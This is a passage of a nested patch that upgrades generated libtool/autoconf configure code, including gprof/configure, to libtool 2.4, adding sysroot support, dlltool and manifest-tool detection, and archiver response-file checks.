-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/gprof/configure b/gprof/configure
-index 3cf41b79116..e5d57f52912 100755
---- a/gprof/configure
-+++ b/gprof/configure
-@@ -662,8 +662,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -780,6 +783,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1442,6 +1446,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
-
- Some influential environment variables:
- CC C compiler command
-@@ -5124,8 +5130,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5165,7 +5171,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -5851,8 +5857,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -5901,6 +5907,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -5917,6 +5997,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6085,7 +6170,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6239,6 +6325,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6252,11 +6353,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6272,7 +6526,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6292,11 +6546,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6312,7 +6570,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6331,6 +6589,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6342,16 +6604,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -6693,8 +7011,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -6730,6 +7048,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -6771,6 +7090,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -6782,7 +7113,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -6808,8 +7139,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -6819,8 +7150,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -6857,6 +7188,20 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -6873,6 +7218,41 @@ fi
-
-
-
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7084,6 +7464,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
